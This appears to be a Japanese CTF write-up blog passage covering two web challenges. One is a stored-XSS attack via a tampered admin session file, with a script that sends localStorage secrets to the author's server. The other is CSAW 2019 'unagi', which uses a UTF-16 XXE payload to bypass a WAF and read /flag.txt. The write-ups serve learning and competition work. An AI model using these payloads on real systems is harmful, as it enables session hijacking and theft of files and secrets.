➜ echo U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ== | base64 -D | file -
/dev/stdin: openssl enc'd data with salted password

flagを復号するには管理者のローカルストレージに保存された鍵を入手する必要がある。

鍵の入手

ヒントに書かれている、管理者がアクセスする画面がどのページなのか不明だが、/adminにはアクセスしてくれると想定して色々調査する。するとWelcome XXXに表示されているユーザー名はセッションから読み込まれており(ログイン時にセッションに書き込まれる)、エスケープされずに出力されていることがわかる。

このことから、管理者のセッションを特定し、ユーザー名にローカルストレージから鍵を盗み出すようなJavaScriptを指定することにより管理者のアクセス時に鍵を入手することができると想定できる。

/db.sqlにデータベースの初期化用のsqlが保存されておりこれを見ると管理者のパスワードのハッシュがわかる。この値を元に管理者のセッションファイルを特定するスクリプトを回した(usernameは他の人に書き換えられている可能性があり、idとprivsは他のユーザと重複する可能性があるため)。

INSERT INTO `User` (`id`, `username`, `password`, `privs`) VALUES
(1, 'admin', '$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O', 15);

するとsess_4umud1lupqn0mpibor27r283o1というファイルが管理者のセッションファイルとしてヒットした。

current_user|O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}

usernameを次のように書き換え自身のサーバーに鍵が送信されるようにしてしばらく待つ。

current_user|O:4:"User":4:{s:8:"username";s:82:"<script>location='http://xxx.xxx.xxx.xxx/?s=/'+localStorage.encryptSecret</script>";s:8:"password";s:60:"$2y$10$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}

しばらく待ってもリクエストが来ないのでセッションファイルを調べて見るとセッションファイルが書き換え前に戻っていた。管理者は巡回時に毎回ログインし直しているようなのでスクリプトでセッションファイルの書き換え処理をループさせて数秒待っていると次のようなリクエストが送信されてきた。

GET /?s=/wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds= HTTP/1.1" 200 284 "http://localhost/admin" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3582.0 Safari/537.36

flagの復号

ファイルアップロードのページの開発者コンソールで次のJavaScriptを実行することでflagを復号できる。

flag = 'U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ=='
key = 'wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds='
CryptoJS.AES.decrypt(flag, atob(key)).toString(CryptoJS.enc.Utf8)
flag{fddb53d704808cb859862d3eb9e9609bae3711bb}

所感

解ければ楽しい問題だった気もするが、全体的に推測とブルートフォースが求められる問題だった気がする。特に管理者の巡回があるというヒントなしでは自分は解ける気がしなかった。さらに管理者がどのページを見るのかという情報もなかったので手探り感がすごかった。今問題を見るとclient.pyというファイルが配布されておりこれを見ればどこを巡回してくるのかわかるのかもしれない(解いたタイミングではなかった気がするし、今はダウンロードができない)。

また、管理者のセッションファイルを書き換える必要があり、解く際に他人に影響を与える蓋然性が高いので、こういう問題は運用が難しそうだなと思いました。

CSAW CTF 2019 Qualification Writeup - unagi (web 200)

登録されたユーザーの一覧とユーザーの追加ができるページが与えられる。また、Aboutを読むとflagは/flag.txtに保存されていることがわかる。

f:id:iso0:20190916163558p:plainf:id:iso0:20190916163608p:plainf:id:iso0:20190916163616p:plain

ユーザーの追加はXMLをアップロードすることにより行うようで、以下のようなサンプルのXMLも与えられる。このパターンはXXEで解く以外に考えられないと言っても過言ではないレベル。

<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>alice@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
</users>

そこで適当にググって出てきたXXEのサンプルをアップロードしてみると次のエラーメッセージが表示された。

WAF blocked uploaded file. Please try again

どうやらENTITY, SYSTEMfileがファイルに含まれているとブロックされるようである。これをバイパスするためにUTF-16エンコードした次のようなXMLを送信してみる。

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE name [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>&test;</name>
        <email>alice@fakesite.com</email>  
        <group>CSAW2019</group>
    </user>
</users>

すると次のようなレスポンスが返ってきた。

f:id:iso0:20190916164917p:plain

XXE自体は成功しているが、どうやら文字長制限でflagまで見えていないっぽい。EmailやGroupに出力しても同様の結果となった。XXEを使うとファイルを外部に送信することもできるので、それが解法だと確信してflag.txtを外部に送信しようと頑張ったがなかなかできなかった。

ふとユーザー一覧ページを見るとIntroというXMLに含まれていない項目の存在に気づいた。試しにIntroにflagを出力させようと以下のXMLを送信してみた。

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE intro [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<users>
    <user>
        <intro>&test;</intro>
    </user>
</users>

すると以下のような応答が返ってきた。結局これが想定解っぽい。

Intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

XXEでファイルを外部送信しようとするのに結構な時間を費やしてしまった。なんでそんな意地悪するの…

flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}